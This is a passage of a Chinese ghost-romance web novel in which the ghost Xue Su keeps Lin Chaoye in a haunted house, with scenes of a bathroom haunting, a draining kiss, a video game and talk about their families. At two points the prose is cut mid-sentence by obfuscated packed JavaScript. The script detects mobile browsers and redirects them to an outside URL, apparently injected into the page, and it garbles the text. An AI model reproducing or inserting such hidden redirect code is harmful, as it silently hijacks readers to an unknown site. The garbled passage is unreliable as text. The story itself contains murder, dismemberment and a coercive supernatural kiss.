“你很在意其他人的目光吗,林潮曳?” “诶?” “说不定他们了解了现实里的你后,会更喜欢你。” “怎么可能!”潮曳笑出声,下一秒又因为笑得太夸张捂住嘴,“不可能啦。” “为什么不可能?” “因为我……”我就跟一只老鼠一样。 谁会喜欢一只老鼠? “你那么善良,像我一样喜欢上你……很正常。不过他们不了解你有不了解的好。”只要他是最了解她的那个人就够了,“后来呢?怎么没有继续运营账号了?” “发生了一些事情,就……没有了。” “什么事?” 潮曳不想聊这个话题,再说下去就要暴露她的秘密了:“雪,雪溯,我,我想洗个澡。” 她已经好几天没有洗澡了。 做鬼不用洗澡,雪溯完全忘记这茬。 “浴室里……不会出现什么东西吧?”潮曳记得朱志远惨死的模样。 “你害怕的话,我在门口守着你。” 那更害怕了。 潮曳实在很想洗个澡,答应了雪溯的提议。 浴室里有淋浴和浴缸。 泡个热水浴一定会很舒服,但潮曳看到浴缸就心有戚戚焉,联想到杀人、分尸、藏尸一系列不友好事件,还是冲澡吧。 可是冲澡的话,也有可能发生不好的事情,比如洗头的时候必须闭上眼,如果睁眼看到一张鬼脸呢? “林潮曳,我一直在外面。”见里头一直没动静,雪溯出声道,“你不用担心。” “好、好。” 潮曳打开花洒。 水温正好。 洗头的时候也没有发生情况。 洗发露香香的。 浴缸敞开,正对着她。 稍微有点不舒服。 潮曳拉上浴缸的防水帘。 唰啦。 帘子又打开了。 潮曳怀疑自己眼花,顿了顿,再次伸手拉上。 成功了。可能处理过尸体的浴缸被完美隐藏。 不对,还差一点。 还有一条小缝露着。 潮曳犯起强迫症,走近了一点,想将那条缝隙完全遮住。 可就在这时,她的视线中出现了一双白皙的脚,就在防水帘的下方。 …… 雪溯努力让自己不去在意浴室传来的水声。 只是洗澡而已。 只是洗澡而已。 变成鬼之后,他见过很多事。 有人类男女为找刺激故意来这里苟且,做到一半时被突然出现的他吓得魂飞魄散,屁滚尿流地逃走了。 人类就是一种很恶心的生物。 把林潮曳变成同类,让她永远和他在一起——有什么好犹豫? 雪溯也不确定自己在纠结些什么。 听见尖叫声。 雪溯立刻冲进浴室: “林潮曳!” 潮曳身上只裹着一条浴巾,吓得浑身哆嗦,颤抖地指着浴缸下面。 “雪溯有有有有有有鬼——” 帘子下什么都没有,但雪溯很快了悟:“别玩了。” “……” “我让你别玩了。” 那双白腿再次出现,只有腿,没有上身。 听到雪溯的话后,白腿屈了下膝盖。 “不准再吓她。” 又屈了一下。是在道歉吗? 潮曳感觉肩膀一凉。 白腿居然瞬移到了她背后,用脚尖戳了戳她的肩膀。 潮曳从地上弹跳起来,连尖叫都忘记如何发出,白腿已经欢快地跳着腿跑走了。 “那家伙就是这样,喜欢乱吓人……”雪溯的目光瞬间僵直。 潮曳不明白他为何露出这样表情,直到看见地上的浴巾。 浴巾掉在地上。 那现在她岂不是…… “对不起!” 雪溯捡起地上浴巾塞给她,转身要逃,被潮曳一把抓住: “鬼鬼鬼会不会再来?!不、不要走……” 雪溯紧闭双眼,手上的触感柔柔软软,带着人类热烘烘的体温,让他觉得浑身都要烧起来:“不会的……” “你可不可以待在这里?” “什么?” “就这样闭着眼睛,我很快就要洗完了。” “……” “雪溯?” “……” “求你了……” 少年深呼吸了一大口,语气和身躯一样僵硬:“……好。” * 其实没有用。 当人时他的视力很差,病变的那只眼睛几乎无法视物。 只能靠好的那只眼睛看东西,走路不注意就会撞到,黑板上的板书总是看不清,不会有人借他抄写,只能靠自己费力辨认。 变成鬼之后,他的眼睛反而好了。两只眼睛都能看清东西了,哪怕闭着的时候。 所以,闭上眼睛根本没意义,浴室四面八方都是玻璃,他什么都能清楚瞧见,像要故意往他眼睛里、大脑里钻进来一样。 她毫无所知,认真小心地擦拭身体。 可是。 这样不是扯平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844795|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗? 她也看过他什么都没穿的样子。 那次,他被朱志远等人锁在厕所里,以为不会有任何人来帮助自己,渐渐被黑暗和绝望彻底吞没的时候,那个留着蘑菇头的少女出现了。 她把衣服给了他。 然后,像只行动迅猛的仓鼠一样转身跑掉。 没来及道谢。 后来他才知道她的名字。 和他一样,带着潮湿水汽的名字。 说不上话。 不知如何开口,也找不到合适机会,偶尔对上的目光,都会让她受到惊吓一样躲开。 他知道自己的脸很吓人。 和他扯上关系,绝对不会是一件好事。 …… “雪溯……” “怎么了?”雪溯回过神来。 “刚刚……那双……腿……是什么?” “我不知道他的名字。他就喜欢在浴室出没吓人。”雪溯道,“大概是生前被人肢解过,一直找不到自己的上半身,只能以那种模样出现吧。” “那、那好像是小孩子的腿……” 肢解……太可怕。但潮曳一时不知道,是该害怕被肢解的鬼,还是肢解一个小孩子的人。 “你知道为什么有的人死了就是死了,有的人却会变成鬼吗?” “因为怨气,和执念……之类的?” “我认为是共鸣。”蓝眼少年道,“鬼和鬼之间有一种磁场,互相吸引着,停留于同一个地方,渐渐那个地方的灵力就越来越强,能够维持住形体,还有同类依靠,就不想走了。” 啊,这么说来,鬼其实是社会性动物啊。 “什么样的鬼,和鬼,会有……这种共鸣?” “不合群。奇怪的。孤僻的。和大多数人站在对立一边的。” 活着的时候遇不到像自己一样的人,死后却发现其实有许多同类。 可是,原来和自己相似的同类,都死了啊。 “雪溯,你,和你的家人,关系……是不是不好?” “很不好。” “我去参加了你的葬礼,他们……” “一点儿也不伤心,是吗。” “嗯……”甚至因为得到了赔偿而高兴。 “不意外。如果能让他们也来这地方就好了。” “诶?!”他要把继父和妹妹也杀了吗?? “开玩笑的。” “其实……也没什么。我……我可以理解你。” 虽然他在做很可怕的事,但她可以理解他。 “他们不知道我被欺负的事情,我没说过。” “那他们也不无辜……” “是吗?无所谓了。暂时还不需要那么多死人。”雪溯道,“你洗好了吗?” “嗯嗯。” 雪溯转过头,看到了换上干净衣服、头发微微湿漉,垂在眉眼间的潮曳。 “……” “怎么了?” “……林潮曳。” “嗯?” “你去了我的葬礼是吗?” “对……” “那你有为我哭吗?” 潮曳思考了两秒,她虽然没有在葬礼现场落泪,但回家后对着雪溯的照片做那种事情的时候舒服哭了,这算为他哭过吗? “好像……有。” 男鬼飘过来,低头覆上她的嘴唇。 19.困惑浪漫 人类就是一种很恶心的生物。 聊天是恶心的,接吻是恶心的,交.配是恶心的,葬礼是恶心的。 虚情假意,自私自利,装腔拿调,作恶多端。 只有一人例外。 冰冷的物什覆了上来,稍稍施加的力度,在小口喘息和无法呼吸之间,身后就是浴室的墙,没有地方可躲可退,更不用说鬼魂会穿墙入室。 舌头也会。鬼的舌头穿过了她的舌头、牙床、甚至喉腔和大脑,酸麻要命,这根本不是接吻,而是被强行塞挤进来,要将她融合在一起。 “雪……雪……溯……” “林潮曳……” “好……好冷……唔……” “再亲一会……” “什……么……” “很温暖……” 不可以。 她的体温像被抽空,浑身冰凉,意识虚蒙,双腿打颤,无法站立。 人和鬼的身体是不一样的。 和鬼肢体接触,她迟早会坏掉,变得不人不鬼。 想着这些念头,潮曳已渐渐失去意识,昏了过去。 * “对不起。” “为、为什么道歉?” “我……”半边脸庞露出难堪的表情,微微咬牙,“是我不好,不该在那种地方亲你。” 只是不该在“那种地方”吗…… “浴室阴气本来就重,你再被我的气息入侵……对不起,总之,下次不会在那亲了。” “……” “林潮曳?” “我在……” “你想……” 你想成为我的同类吗? 和我一样。 只需要疼痛一瞬间。 永远待在这里。 “你想看看电影,或者打游戏吗?”雪溯道。 “我都可以……”其实她最想做的是回家。 “那就打游戏吧。” 雪溯找来了游戏卡带。 里面是一款在鬼屋里扮演僵尸吃光人类的双人游戏。 ……还挺有代入感。 潮曳没玩过游戏。 更不用说双人游戏这种带有极强社交性质的游戏了。 忐忑不安。 “没事,我可以教你。操作不会很难,还有简单模式。” 潮曳硬着头皮点点头。 在雪溯的悉心指导下,第一回合,潮曳就让两人输了个精光。 “对不起,我不知道他会从那边冲出来……” “没关系,反正只是打发时间。”雪溯一点儿不在意。甚至看到她紧张兮兮操作的样子,觉得可爱极了。 第二回合,仍旧惨败。 潮曳不想玩了。 雪溯:“再玩一局就结束吧?唔,是这个游戏太无聊了。” “对了,你要不要试试手柄?” 潮曳接过手柄,雪溯教她如何用手柄操作。 出乎意料,用手柄的潮曳在第三局进步神速,一连吃掉了好几个人类。 潮曳终于体会到了玩游戏的乐趣,这种一得手就有反馈的感觉太令人上瘾了。她集中注意力,手指在按键上操控,又听见好几声成功击败的音效。 雪溯:“你……学得好快。” “没,没有,只是凑巧罢了……” 虽然这局还是输了,雪溯看到潮曳乐在其中的样子,又加了一局。 这一回合潮曳像开挂了一样,击败了十几个人类,甚至打出了雪溯从没见过的招数,喜提一个罕见的成就。 “你是怎么做到的?” “我、我不知道,就是听你的话,按这里,和这里……” “不,这和我教的没有关系,是你自己就很厉害。因为你做手工厉害,打游戏这种动手的事,也就厉害。”雪溯道,“……我本来还想在你面前露一手呢。” “你玩的才厉害,我只是,瞎猫遇到死耗子,根本比不上你……” “不用说这种话。”雪溯忽然放低声音,“难怪你不愿意留在这里。” 雪溯退出了游戏,拔出卡带,潮曳不解他为什么不继续玩,雪溯却望向她:“你还没有和我说你的事。” “我的……” “你的家人对你怎么样?” 潮曳犹豫着,轻轻摇了摇头:“不好。” 上一次和家里人联系是什么时候呢? 弟弟要上大学,妈妈让她出钱给他买个新的电脑,潮曳答应了。 电脑送到的那天,妈妈嫌小,想让她退掉买个新的,但弟弟过几天就要用,嫌麻烦还是收下了。 他们都没有想起那天是潮曳的生日。 也没什么。这种事情她已经习惯了。 说到底是她自己太没用。成绩不好,长相不好,性格还阴沉。 活该如此。 她也不想和自己这样的人做家人,多说一句话都觉得晦气。 “朋友呢?” “我……我没有朋友。” 倒也没有那么难以启齿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857177|190162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这是事实。 “潮汐之夜的粉丝,像灵玖,他们都很喜欢你。”雪溯道,“如果留在这里,就没法和他们见面……” 这有什么。本来她这辈子都不会和网络上的粉丝见面的,何况潮汐之夜的账号已经注销了。 “林潮曳,你那么好,所以不愿变成鬼和我在一起,我根本配不上当你的转化人……” “好?我,我哪里好……你比我更好。”转化人是什么东西?“你成绩好,每次都考第一,你很聪明……” “这都不算什么。和你比起来。我……我不像你那样有自己的爱好和特长。我很无聊,所以变成鬼了,除了想着复仇的事,不知道该做什么。我……如果你想的话,我可以让你讨厌的人来这个地方,帮你杀了他们……” 觉到雪溯神色不对,潮曳不知该如何回他的话,她看到地上的电影光碟,道: “不说这个了,看……电影吧……” 鬼屋里只有鬼电影。 不正常的女主角,不是人的男主角,奇奇怪怪的恋爱物语,恐怖,血腥,又带点浪漫感。 潮曳看着电影睡着了。 恍惚中,雪溯的手穿过她的脖子,留停一阵,又移开。 醒来之际,雪溯在和两只鬼交谈。 其中一只鬼是何阳毅。 另外一只是个少女,她不认识。 “那应该是她的藏身地点,气息在那个地方最重,还和谢博彦的手机相连。但她大概知道谢博彦已经死了。” “我就说,她会被吓的连厕所都不敢去……”不认识的少女开玩笑道。 谢博彦已经死了吗…… 她一直和雪溯待在一起,他是怎么杀了他的?他是鬼,自然有数不清的办法…… “要去看看吗?” “好。” 雪溯和何阳毅、不认识的少女一道出去了。 潮曳再三犹豫,还是跟了上去。 他们去到一间杂物间,里头散发着浓重臭气,像屎尿和呕吐物的混合物。 乔菱纱就躲藏在这样的地方? 地上掉着她的手机,乔菱纱的人已经不见了。 “很聪明,她发现这东西可以作为媒介,选择丢弃。”何阳毅道,“这个是……” 手机旁边还放着一台相机。 潮曳眼睁睁看着何阳毅拿起那台相机,心跳差点停止。 耳边响起那个甜美又阴毒的声音: ——小潮曳,别误会。你也是害死雪溯的凶手之一。